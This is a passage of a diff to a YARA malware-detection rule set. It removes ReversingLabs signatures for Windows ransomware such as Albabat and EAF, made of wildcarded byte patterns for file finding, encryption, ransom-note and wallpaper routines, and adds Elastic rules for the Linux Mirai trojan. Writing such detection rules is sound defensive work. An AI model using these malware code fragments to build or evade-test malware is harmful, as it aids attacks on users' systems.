-            ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 6A ?? 56 FF 15
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 FF 15 ?? ?? ?? ?? 85
-            C0 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 6A ??
-            FF D3 50 FF 15 ?? ?? ?? ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D A5 ?? ?? ?? ?? 5F 5E
-            5B 8B E5 5D C3
-        }
-		$find_files_p3 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 8B C7
-            8D 50 ?? 90 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D B4 00 ?? ?? ?? ?? 8D 86
-            ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ??
-            ?? ?? 56 57 53 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8D 4C 24 ??
-            51 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 8B 3D ?? ?? ?? ?? FF D7 83 F8 ??
-            0F 84 ?? ?? ?? ?? FF D7 E9 ?? ?? ?? ?? 8D A4 24 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84
-            24 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B
-            4D ?? 56 51 53 FF 15 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 56 8D 94 24
-            ?? ?? ?? ?? 52 53 FF 15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? E8 ?? ?? ?? ?? 85 C0 0F 85
-            ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0
-            74 ?? 66 83 38 ?? 74 ?? 68 ?? ?? ?? ?? 50 FF D7 85 C0 75 ?? FF 05 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8D 7C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 39 05 ?? ?? ?? ?? 0F 84
-            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 54 24 ?? 52 FF D7 85 C0 74 ?? 8D 44
-        }
-		$find_files_p4 = {
-            24 ?? 50 8D 4C 24 ?? 51 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B7 44 24 ?? 8B 0D ??
-            ?? ?? ?? 3B C1 74 ?? 49 3B C1 74 ?? 8D 54 24 ?? 52 8D 44 24 ?? 50 FF D7 85 C0 74 ??
-            8D 4C 24 ?? 51 8D 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B7 44 24 ?? 8B
-            0D ?? ?? ?? ?? 3B C1 74 ?? 49 3B C1 74 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ??
-            ?? ?? ?? 8B 44 24 ?? 0B 44 24 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 6A ?? 6A ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ??
-            80 3B ?? 75 ?? 80 7B ?? ?? 75 ?? 8B 15 ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 8B 04 17 53
-            50 FF 15 ?? ?? ?? ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 8B 14 0F 68 ?? ??
-            ?? ?? 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0C 07 68 ?? ?? ?? ?? 53 51 FF 15 ?? ??
-            ?? ?? 8B 15 ?? ?? ?? ?? 8B 04 17 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24
-            ?? 50 FF 15 ?? ?? ?? ?? 53 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 33 C0
-            5B 8B E5 5D C2
-        }
-		$enum_network_resources = {
-            55 8B EC 8B 4D ?? 83 EC ?? 8D 45 ?? 50 51 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ??
-            FF D3 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 57 90 8B 4D ?? 8D
-            55 ?? 52 56 8D 45 ?? 50 51 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
-            ?? ?? 33 FF 39 7D ?? 76 ?? 83 C6 ?? 8D 64 24 ?? F6 46 ?? ?? 74 ?? F6 46 ?? ?? 74 ??
-            8B 06 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D 94 00 ?? ?? ?? ?? 52
-            6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? 85 C0 74 ??
-            8B 16 0F B7 0A 66 89 08 83 C2 ?? 83 C0 ?? 66 85 C9 75 ?? FF 05 ?? ?? ?? ?? 8B 56 ??
-            83 E2 ?? 80 FA ?? 75 ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 47 83 C6 ?? 3B 7D ?? 72
-            ?? 8B 75 ?? E9 ?? ?? ?? ?? 56 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 5F 8B 4D ?? 51 FF 15
-            ?? ?? ?? ?? 5E 5B 8B E5 5D C3
-        }
-		$encrypt_files_p1 = {
-            55 8B EC 83 EC ?? 53 56 57 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            89 45 ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 89 4D ?? E8 ?? ?? ??
-            ?? 8B F4 85 F6 0F 84 ?? ?? ?? ?? 8B D6 81 EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D6 81
-            EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D6 8B CE 8B FE 81 EA ?? ?? ?? ?? 33 C0 81 E9 ??
-            ?? ?? ?? 81 EF ?? ?? ?? ?? 83 C2 ?? C6 46 ?? ?? 89 55 ?? 8B 5D ?? 8A D0 80 E2 ?? 02
-            90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 01 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ??
-            ?? ?? 32 90 ?? ?? ?? ?? 88 94 07 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32
-            90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32
-            90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8B 5D ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32
-            90 ?? ?? ?? ?? 88 94 03 ?? ?? ?? ?? 8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 83 C0 ?? 32
-            90 ?? ?? ?? ?? 88 54 06 ?? 83 F8 ?? 0F 8C ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 4D ?? 50 51
-            FF 15 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? C7 45
-            ?? ?? ?? ?? ?? FF D6 85 C0 75 ?? 8B 3D ?? ?? ?? ?? 8D 49 ?? 68 ?? ?? ?? ?? FF D7 8D
-            45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D6 85 C0 74 ?? 50 FF 15 ?? ?? ??
-            ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B FC 85 FF 0F 84 ?? ?? ?? ?? 8B D7 81 EA ?? ?? ??
-            ?? 83 C2 ?? 89 55 ?? 8B D7 81 EA ?? ?? ?? ?? 83 C2 ?? 89 55 ?? 8B D7 8B CF 8B F7 81
-        }
-		$encrypt_files_p2 = {
-            EA ?? ?? ?? ?? 33 C0 81 E9 ?? ?? ?? ?? 81 EE ?? ?? ?? ?? 83 C2 ?? C6 47 ?? ?? 89 55
-            ?? 8B 5D ?? 8A D0 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 08 ?? ?? ?? ??
-            8D 50 ?? 80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 30 ?? ?? ?? ?? 8D 50 ??
-            80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8B 5D ?? 8D 50 ??
-            80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8B 5D ?? 8D 50 ??
-            80 E2 ?? 02 90 ?? ?? ?? ?? 32 90 ?? ?? ?? ?? 88 94 18 ?? ?? ?? ?? 8D 50 ?? 80 E2 ??
-            02 90 ?? ?? ?? ?? 83 C0 ?? 32 90 ?? ?? ?? ?? 88 54 07 ?? 83 F8 ?? 0F 8C ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B D8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C8 2B 4D ??
-            B8 ?? ?? ?? ?? F7 E1 8B CA C1 E9 ?? B8 ?? ?? ?? ?? F7 E1 C1 EA ?? 8B C2 C1 E0 ?? 2B
-            C2 03 C0 03 C0 2B C8 8B F2 B8 ?? ?? ?? ?? F7 E6 A1 ?? ?? ?? ?? 51 C1 EA ?? 8B CA C1
-            E1 ?? 2B CA 03 C9 03 C9 2B F1 56 52 8B 15 ?? ?? ?? ?? 52 50 53 57 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 DB 0F 84 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B D8 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C8 2B
-            4D ?? B8 ?? ?? ?? ?? F7 E1 8B CA C1 E9 ?? B8 ?? ?? ?? ?? F7 E1 C1 EA ?? 8B C2 C1 E0
-            ?? 2B C2 03 C0 03 C0 2B C8 8B F2 B8 ?? ?? ?? ?? F7 E6 A1 ?? ?? ?? ?? 51 C1 EA ?? 8B
-            CA C1 E1 ?? 2B CA 03 C9 03 C9 2B F1 56 52 8B 15 ?? ?? ?? ?? 52 50 53 57 E8 ?? ?? ??
-            ?? 83 C4 ?? 85 DB 0F 85 ?? ?? ?? ?? 8D 65 ?? 5F 5E 5B 8B E5 5D C3
-        }
+		$a = { 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_network_resources) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win64_Ransomware_Albabat : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_994535C4 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Albabat ransomware."
-		author = "ReversingLabs"
-		id = "11941c0d-45fb-5746-bbad-f43f336d4b1d"
-		date = "2024-03-18"
-		modified = "2024-03-18"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Albabat.yara#L1-L139"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "38ec8388b9006f6ab9a397858b89f4bfd7def2ffcf525cfc736abae49bc6034a"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "994535c4-77a6-4cc6-b673-ce120be8d0f4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1323-L1341"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "376a2771a2a973628e22379b3dbb9a8015c828505bbe18a0c027b5d513c9e90d"
+		logic_hash = "c83c8c9cdfea1bf322115e5b23d751b226a5dbf42fc41faac172d36192ccf31f"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Albabat"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "a3753e29ecf64bef21e062b8dec96ba9066f665919d60976657b0991c55b827b"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            48 8D 05 ?? ?? ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? C7 83 ??
-            ?? ?? ?? ?? ?? ?? ?? 66 C7 83 ?? ?? 00 00 ?? ?? C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 0F 57
-            F6 0F 11 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? C6 83 ?? ?? ?? ?? ?? 4C 8D
-            83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 D7 48 85 C0 74 ?? 0F B6 05 ?? ?? ?? ?? 48 8B 0D
-            ?? ?? ?? ?? 48 85 C9 75 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C1 48
-            89 05 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ??
-            ?? 48 89 C6 48 89 38 4C 8D 35 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 BB ?? ?? ?? ?? 48 C7
-            83 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 B3 ?? ?? ?? ?? 48 89 F9 E8 ?? ?? ?? ?? 48 89 C6 48
-            89 D7 48 85 C0 74 ?? 48 85 FF 0F 85 ?? ?? ?? ?? 48 89 7C 24 ?? 48 8D 8B ?? ?? ?? ??
-            48 8D 93 ?? ?? ?? ?? 4C 8D 83 ?? ?? ?? ?? 49 89 F1 E8 ?? ?? ?? ?? 48 83 BB ?? ?? ??
-            ?? ?? 0F 84 ?? ?? ?? ?? 48 8B BB ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ??
-            ?? 48 85 C9 75 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C1 48 89 05 ??
-            ?? ?? ?? 41 B8 ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89
-        }
-		$encrypt_files_p2 = {
-            C6 48 89 38 4C 8D 35 ?? ?? ?? ?? 48 83 BB ?? ?? ?? ?? ?? 74 ?? 4C 8B 83 ?? ?? ?? ??
-            48 8B 0D ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 8B 8B ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            48 85 F6 0F 84 ?? ?? ?? ?? 48 89 B3 ?? ?? ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 8D B3 ?? ??
-            ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 8D 3D ?? ?? ?? ?? 4C 89 BB ?? ?? ?? ?? 48 8D 05 ?? ??
-            ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ??
-            ?? ?? ?? 48 8D BB ?? ?? ?? ?? 48 89 BB ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ??
-            48 8D 8B ?? ?? ?? ?? 48 8D 93 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B B3 ?? ?? ?? ?? 48 8B
-            93 ?? ?? ?? ?? 4C 8B A3 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 4D 85 E4 74 ?? 48 8B 0D
-            ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 89 BB ?? ?? ??
-            ?? 48 8D 05 ?? ?? ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D
-            35 ?? ?? ?? ?? 48 89 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 4C 8D B3 ?? ??
-            ?? ?? 4C 89 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ??
-            ?? ?? ?? 48 8D 8B ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ??
-            ?? ?? 48 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 65 48 8B
-            14 25 ?? ?? ?? ?? 48 8B 0C CA 48 8D 89 ?? ?? ?? ?? 48 39 C8 75 ?? 8B 05 ?? ?? ?? ??
-            FF C0 75 ?? 48 8D 0D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
-        }
-		$drop_ransom_note = {
-            48 8D 05 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48
-            89 B4 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48
-            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 4C 8B 84 24 ?? ?? ?? ?? 48 8B 0D ?? ??
-            ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89
-            F1 E8 ?? ?? ?? ?? 48 85 C0 4C 8B 74 24 ?? 74 ?? 48 89 C5 4C 8B 6C 24 ?? E9 ?? ?? ??
-            ?? 4D 8D 0C D1 49 83 C1 ?? 48 C1 E2 ?? 48 F7 DA 4F 8D 14 C2 49 83 C2 ?? 49 C1 E0 ??
-            49 F7 D8 45 31 DB 4C 39 DA 0F 84 ?? ?? ?? ?? 4D 39 D8 0F 84 ?? ?? ?? ?? 4B 8B 34 19
-            4F 8B 34 1A 4C 39 F6 0F 82 ?? ?? ?? ?? 49 83 C3 ?? 4C 39 F6 76 ?? E9 ?? ?? ?? ?? 48
-            8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 BC 24
-            ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 4C
-            8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ??
-            ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48
-            C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 4C 89 F2 E8 ??
-            ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 4D 89 F0 FF 15
-            ?? ?? ?? ?? 48 85 ED 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 48
-            8D 9C 24 ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 4C 8D 0D ?? ?? ??
-            ?? 41 B8 ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 48 8B
-            8C 24 ?? ?? ?? ?? 48 85 C9 74
-        }
-		$change_desktop_wallpaper = {
-            4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ??
-            ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 4D 85 F6 74
-            ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D
-            8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 25 ?? ?? ?? ?? 48 85 C0 4C
-            8B 74 24 ?? 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 41 B8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B B4 24 ?? ??
-            ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C
-            8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 F2 E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ??
-            ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D
-            8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 8B 0D
-            ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 4C 8B B4 24 ??
-            ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA 4D 89 F0 E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ??
-            ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 89 C1 83 E1 ?? 83 F9 ?? 0F 85 ?? ??
-            ?? ?? 48 8D 58 ?? 4C 8B 70 ?? 48 8B 68 ?? 4C 89 F1 FF 55
-        }
-		$find_files_p1 = {
-            4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ??
-            ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 4D 85 FF 74
-            ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ??
-            ?? ?? ?? 66 0F EF C0 F3 0F 7F 84 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C5 4C 8B 6C 24 ?? 4C 8B
-            74 24 ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 31 D2 49 89 F0 E8 ?? ?? ?? ?? 48 8B
-            84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 29 E8 48 39 F0 72 ?? 48 8B 8C 24 ?? ??
-            ?? ?? 48 01 E9 31 D2 49 89 F0 E8 ?? ?? ?? ?? 48 01 F5 48 89 AC 24 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 48 C1 ED ?? 74 ?? 41 BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 83 FF ?? 72 ?? 48 85
-            DB 74 ?? 48 8B 84 24 ?? ?? ?? ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 EA 49 89 F0 E8
-            ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? EB ?? 4C 89 FB 4C 89 F0 4D 85 FF 74 ?? 49 89 DC
-            48 8B 44 D8 ?? 48 85 C0 74 ?? 48 0F BD C0 48 83 F0 ?? EB ?? 45 31 E4 EB ?? B8 ?? ??
-            ?? ?? 49 C1 E4 ?? 49 83 CC ?? 49 29 C4 49 C1 EC ?? 48 8B B4 24 ?? ?? ?? ?? BA ?? ??
-            ?? ?? 48 89 F1 45 31 C0 E8 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 49 89 C7 49 83 FC
-        }
-		$find_files_p2 = {
-            73 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 4D 89 F8 FF 15 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? E9 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E1 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 68
-            ?? 49 8D 5C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 EA 48 89 44 24 ?? E8 ?? ?? ?? ?? 48
-            8B 44 24 ?? F3 41 0F 6F 07 41 0F 10 4F ?? 0F 11 48 ?? F3 0F 7F 40 ?? 49 8D 4C 24 ??
-            48 39 D9 0F 83 ?? ?? ?? ?? 4D 89 E5 4C 8D 60 ?? 49 8D 4D ?? 43 C6 44 2C ?? ?? 48 39
-            CB 0F 82 ?? ?? ?? ?? 43 0F 11 74 2C ?? 43 0F 11 7C 2C ?? 48 C7 44 24 ?? ?? ?? ?? ??
-            4C 89 E1 48 89 DA 48 8B B4 24 ?? ?? ?? ?? 49 89 F0 49 89 E9 E8 ?? ?? ?? ?? 48 89 5C
-            24 ?? BA ?? ?? ?? ?? 48 89 E9 49 89 F0 4D 89 E1 E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ??
-            31 D2 4D 89 F8 FF 15 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E9 E8 ??
-            ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C3 48 8D B4 24 ?? ?? ?? ?? 48 89 C1 48 8B
-            54 24 ?? 4D 89 E8 E8
-        }
+		$a = { 20 74 07 31 C0 48 FF C3 EB EA FF C0 83 F8 08 75 F4 48 8D 73 03 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note) and ($change_desktop_wallpaper)
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_EAF : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_A68E498C : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects EAF ransomware."
-		author = "ReversingLabs"
-		id = "6903030e-b1a1-5238-b377-ce8e4b18d3f3"
-		date = "2022-07-22"
-		modified = "2022-07-22"
-		reference = "ReversingLabs"
